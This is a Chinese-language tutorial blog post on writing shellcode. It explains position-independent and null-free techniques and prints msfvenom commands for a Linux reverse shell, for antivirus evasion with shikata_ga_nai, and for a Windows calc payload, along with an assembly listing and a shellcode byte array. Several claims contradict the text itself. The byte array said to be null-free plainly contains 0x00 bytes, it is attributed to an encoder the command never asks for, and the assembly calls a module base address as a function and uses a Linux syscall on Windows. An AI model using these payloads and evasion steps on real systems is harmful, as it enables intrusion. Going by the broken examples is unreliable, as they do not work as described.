Shellcode编写基础:从零开始打造你的第一段Shellcode

Shellcode,这个名字听起来有点酷,对吧?我第一次接触它的时候,还以为是什么神秘的shell脚本。其实说白了,Shellcode就是一段精心构造的机器码,能让目标程序执行我们想要的操作——比如弹个计算器、开个反向shell,或者干脆把系统控制权拿过来。

我当年在分析一个恶意样本时,第一次真正见识到Shellcode的威力。那段代码只有区区几十个字节,却能让一个看似正常的PDF文件在打开瞬间就建立起C2连接。嗯,从那时起我就决定,这东西必须得搞明白。

什么是Shellcode?

Shellcode本质上是一段二进制指令,通常以十六进制形式存在。它被注入到目标进程的内存中,然后通过某种漏洞(比如缓冲区溢出)劫持执行流,让CPU去跑这段代码。

为什么叫"Shell"code?因为最早的Shellcode就是用来弹出一个shell的——/bin/sh。现在它的功能早就扩展了,但名字保留了下来。

核心特征:Shellcode必须能独立运行,不依赖任何外部库或加载器。

Shellcode的编写原则

写Shellcode和写普通程序完全是两码事。普通程序有操作系统帮你打理一切,但Shellcode是"裸奔"的。这里有两个铁律,我当年踩过的坑全在这上面。

原则一:位置无关代码(PIC)

你想想看,Shellcode被注入到目标进程后,它根本不知道自己会被放在内存的哪个地址。所以代码里不能出现任何绝对地址引用——不能写死函数地址、不能写死变量地址、不能写死字符串地址。

我习惯用相对寻址来解决这个问题。比如在x86上,经典的call/pop技巧:

; 获取当前指令地址
    call next
next:
    pop ebx        ; ebx 现在指向 next 标签的地址
    ; 后面就可以用 ebx 作为基址来访问数据了

在x64下,我更喜欢用lea rax, [rel $]这种RIP相对寻址方式,更干净。

我的经验:写PIC代码时,尽量少用全局变量。所有数据都放在代码段里,用偏移量访问。我曾经见过有人把字符串放在.data段里,结果Shellcode一跑就崩——因为.data段根本不在注入的内存区域里。

原则二:避免空字节(NULL-free)

空字节(0x00)是Shellcode的天敌。为什么?因为大多数漏洞利用场景中,Shellcode是通过字符串函数(如strcpy)拷贝到目标缓冲区的。这些函数遇到0x00就认为字符串结束了,后面的代码根本拷不过去。

我举个例子,假设你想执行int 0x80系统调用,在x86上这条指令是\xcd\x80——没有空字节,安全。但如果你写mov eax, 0,对应的机器码是\xb8\x00\x00\x00\x00,四个空字节,直接完蛋。

怎么避免?常用的技巧包括:

  • 用XOR清零寄存器xor eax, eax 代替 mov eax, 0
  • 用符号扩展:比如 push byte 0x41 然后 pop eax
  • 用移位构造大数mov eax, 0xffffffff 然后 sub eax, 0x...
  • 用自增/自减inc eax 循环到目标值
注意:空字节检查一定要做全。我见过有人只检查了指令本身,没检查立即数。比如 push 0x0068732f 这条指令里就藏着空字节,因为0x00被编码在立即数里了。

使用MSFvenom生成Shellcode

手写Shellcode虽然很酷,但效率太低。实际工作中,我大部分时候都用MSFvenom来生成。它是Metasploit框架里的工具,支持各种平台、各种编码方式。

基本用法很简单:

# 生成Windows下弹出计算器的Shellcode
msfvenom -p windows/exec CMD=calc.exe -f c

# 生成Linux下反弹Shell的Shellcode
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c

# 编码绕过杀软
msfvenom -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -i 5 -f c

参数说明:

参数 含义
-p 指定payload类型
-f 输出格式(c, python, raw, hex等)
-e 编码器,用于消除空字节或规避检测
-i 编码迭代次数,越多越难检测
-b 要避免的坏字符,如 \x00\x0a\x0d
避坑指南:我曾经在渗透测试中直接用默认参数生成Shellcode,结果目标环境有DEP(数据执行保护),Shellcode一跑就崩。后来我学会了加 -x 参数指定一个合法的PE文件作为载体,或者用 --smallest 生成最小体积的Shellcode。记住,生成Shellcode只是第一步,怎么加载和执行才是关键。

实战:编写一个弹出计算器的Shellcode

好了,理论说完了,咱们动手写一个。目标:Windows下弹计算器。我会用两种方式实现,一种是手写汇编,一种是用MSFvenom生成。

方式一:手写汇编(x86)

思路很简单:调用 WinExec 函数,传入 "calc.exe" 字符串。难点在于怎么获取 WinExec 的地址——这需要从PEB(进程环境块)里遍历Kernel32的导出表。

; 弹出计算器的Shellcode (x86, NULL-free)
BITS 32

    ; 获取Kernel32基址
    xor ecx, ecx
    mov eax, fs:[ecx + 0x30]    ; PEB
    mov eax, [eax + 0x0c]       ; LDR
    mov eax, [eax + 0x14]       ; InMemoryOrderModuleList
    mov eax, [eax]              ; 第二个模块(ntdll)
    mov eax, [eax]              ; 第三个模块(kernel32)
    mov eax, [eax + 0x10]       ; kernel32基址

    ; 这里省略了遍历导出表找WinExec的代码
    ; 实际需要解析PE头、导出表,找到函数地址

    ; 调用 WinExec("calc.exe", 1)
    push 1
    push 0x6578652e             ; ".exe"
    push 0x636c6163             ; "calc"
    push esp                    ; 指向 "calc.exe"
    call eax                    ; WinExec

    ; 退出
    xor eax, eax
    inc eax                     ; eax = 1 (ExitProcess)
    int 0x80                    ; 这里其实应该用ExitProcess,简化处理

这段代码我简化了查找函数地址的部分,实际完整实现大概需要100字节左右。你想想看,要在100字节内完成PEB遍历、导出表解析、字符串构造、函数调用——这就是Shellcode的魅力。

方式二:用MSFvenom生成

还是那句话,手写太累,用工具吧:

msfvenom -p windows/exec CMD=calc.exe -b '\x00' -f c

# 输出类似:
unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77"
"\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50"
"\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x63\x61\x6c\x63\x89"
"\xe0\x50\x50\x6a\x01\x89\xe2\x50\x52\x53\xb8\xc0\xa8\x04\x01"
"\xff\xd0";

看到没?生成的Shellcode里没有一个0x00字节。它用了shikata_ga_nai编码器,把原始指令做了多态变换,既消除了空字节,又能绕过一些简单的特征检测。

验证方法:我每次生成Shellcode后,都会用 xxdod 检查一遍,确认没有空字节。命令:echo "shellcode_hex" | xxd -r -p | xxd。养成这个习惯,能省去很多调试时间。

知识体系总览

下面这张图概括了Shellcode编写的核心逻辑:

Shellcode编写知识体系 Shellcode 位置无关代码 (PIC) 避免空字节 (NULL-free) 最小体积 实现方式:手写汇编 | MSFvenom生成 | 编码器处理 PEB遍历找Kernel32 导出表解析找函数地址 系统调用 / API调用 最终目标:执行任意代码

这张图把Shellcode编写的核心脉络理清楚了。从最上层的概念,到三大编写原则,再到具体的实现方式和关键技术,最后落到执行任意代码这个终极目标上。我建议你把这个图记在脑子里,以后写Shellcode时按这个框架来思考,不容易漏掉关键点。

好了,关于Shellcode的基础知识就讲到这里。记住,写Shellcode就像做微雕——在极小的空间里完成精确的操作。多练、多调试、多分析别人的代码,慢慢你就能找到感觉了。


公众号:蓝海资料掘金营,微信deep3321